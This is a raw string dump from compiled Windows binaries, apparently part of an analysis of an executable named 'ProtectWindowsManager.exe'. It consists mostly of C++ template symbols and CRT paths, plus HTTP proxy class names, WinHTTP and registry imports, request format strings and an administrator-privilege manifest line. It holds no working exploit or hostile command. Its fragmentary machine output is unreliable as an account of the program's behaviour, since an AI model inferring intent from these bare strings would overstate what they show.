std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator   
std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator   
std::_Deque_const_iterator<enum LightXML::ParseState,class std::allocator<enum LightXML::ParseState> >::operator *
std::_Deque_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator *
std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator   
std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator *
std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator --
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator   
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator --
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator *
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator   
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator --
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator *
std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator   
std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator --
f:\dd\vctools\crt_bld\self_x86\crt\src\xstring
f:\dd\vctools\crt_bld\self_x86\crt\src\streambuf
std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator   
std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator *
std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator   
std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator  =
std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator  =
cf:\dd\vctools\crt_bld\self_x86\crt\src\dbgdel.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\sprintf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
_CrtCheckMemory()
_CrtIsValidHeapPointer(pUserData)
_CrtSetDbgFlag
(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)
_CrtMemCheckpoint
f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)
wcscpy_s(szExeName, 260, L"<program name unknown>")
__crtMessageWindowW
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h
("Corrupted pointer passed to _freea", 0)
f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c
mscoree.dll
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcpy.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsrchr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbscmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncpy.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcat.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strlwr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\sscanf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c
f:\dd\vctools\crt_bld\self_x86\crt\src\access.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c
f:\dd\vctools\crt_bld\self_x86\crt\src\memicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c
f:\dd\vctools\crt_bld\self_x86\crt\src\bsearch.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c
strcpy_s(errmsg, (94 38 2), _get_sys_err_msg(errnum))
.sizeInTChars > 0
f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c
f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c
f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c
("Invalid MBCS character sequence passed to strftime",0)
("Invalid MBCS character sequence passed into strftime",0)
f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")
wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")
_NMSG_WRITE
f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
strcpy_s(szExeName, 260, "<program name unknown>")
__crtMessageWindowA
f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c
f:\dd\vctools\crt_bld\self_x86\crt\src\localref.c
((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))
KERNEL32.DLL
f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")
_VCrtDbgReportA
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
_VCrtDbgReportW
f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c
WUSER32.DLL
f:\dd\vctools\crt_bld\self_x86\crt\src\close.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstok_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.c
f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsbtype.c
f:\dd\vctools\crt_bld\self_x86\crt\src\write.c
f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c
f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fstat64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\open.c
0 && "Only UTF-16 little endian & UTF-8 is supported for reads"
f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbscspn.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c
f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c
f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c
f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c
f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c
_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2
f:\dd\vctools\crt_bld\self_x86\crt\src\strtok_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c
strcpy_s(resultstr, resultsize, autofos.man)
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c
f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c
f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c
f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c
("CRT Logic error during setenv",0)
__crtsetenv
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --
\\.\jsdrv1,41,0,1748
stproxy.cpp
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xstring
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\list
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator ==
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\vector
std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator *
std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator   
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator   
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xtree
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator --
std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator *
std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator *
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator   
std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator   
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\algorithm
invalid operator<
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator --
gstd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator --
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\memory
std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator   
1,41,0,1748

ProtectWindowsManager.exe_3944:




.text
`.rdata
@.data
.rsrc
@.reloc
j.Yf;
_tcPVj@
.PjRW
SHELL32.dll
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
GetProcessWindowStation
operator
MaxPolicyElementKey
pExecutionResource
SHLWAPI.dll
USERENV.dll
%dYeArdMoNthdDaY
file_url
GET %s%s%s HTTP/1.1
Host: %s
%sUser-Agent: Mozilla/4.0 %s
POST %s HTTP/1.1
%sContent-Type: %s
User-Agent: Mozilla/4.0
Content-Length: %u
%*s %d %*s
%*[ ]%[^
?456789:;<=
!"#$%&'()* ,-./0123
ShellExecuteExW
SHDeleteKeyW
GetWindowsDirectoryA
GetProcessHeap
GetSystemWindowsDirectoryW
KERNEL32.dll
USER32.dll
RegCloseKey
RegOpenKeyExW
RegCreateKeyW
ReportEventW
RegOpenKeyW
ADVAPI32.dll
PSAPI.DLL
InternetCrackUrlW
WININET.dll
WS2_32.dll
WinHttpReceiveResponse
WinHttpSetTimeouts
WinHttpSetOption
WinHttpGetIEProxyConfigForCurrentUser
WinHttpSendRequest
WinHttpWriteData
WinHttpConnect
WinHttpCloseHandle
WinHttpQueryHeaders
WinHttpQueryDataAvailable
WinHttpOpen
WinHttpOpenRequest
WinHttpGetProxyForUrl
WinHttpCrackUrl
WinHttpReadData
WinHttpAddRequestHeaders
WINHTTP.dll
SensApi.dll
VERSION.dll
GetCPInfo
.?AVunsupported_os@Concurrency@@
.?AVinvalid_scheduler_policy_key@Concurrency@@
.?AVinvalid_operation@Concurrency@@
.?AVinvalid_oversubscribe_operation@Concurrency@@
.?AUITopologyExecutionResource@Concurrency@@
.?AVExecutionResource@details@Concurrency@@
.?AUIExecutionResource@Concurrency@@
.?AUIExecutionContext@Concurrency@@
zcÁ
.?AVCHttpClient@@
.?AVCTcpipSocket@@
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
6!676$717
,050'101
7"7&7*7.72767:7
1!1%1)1-11151
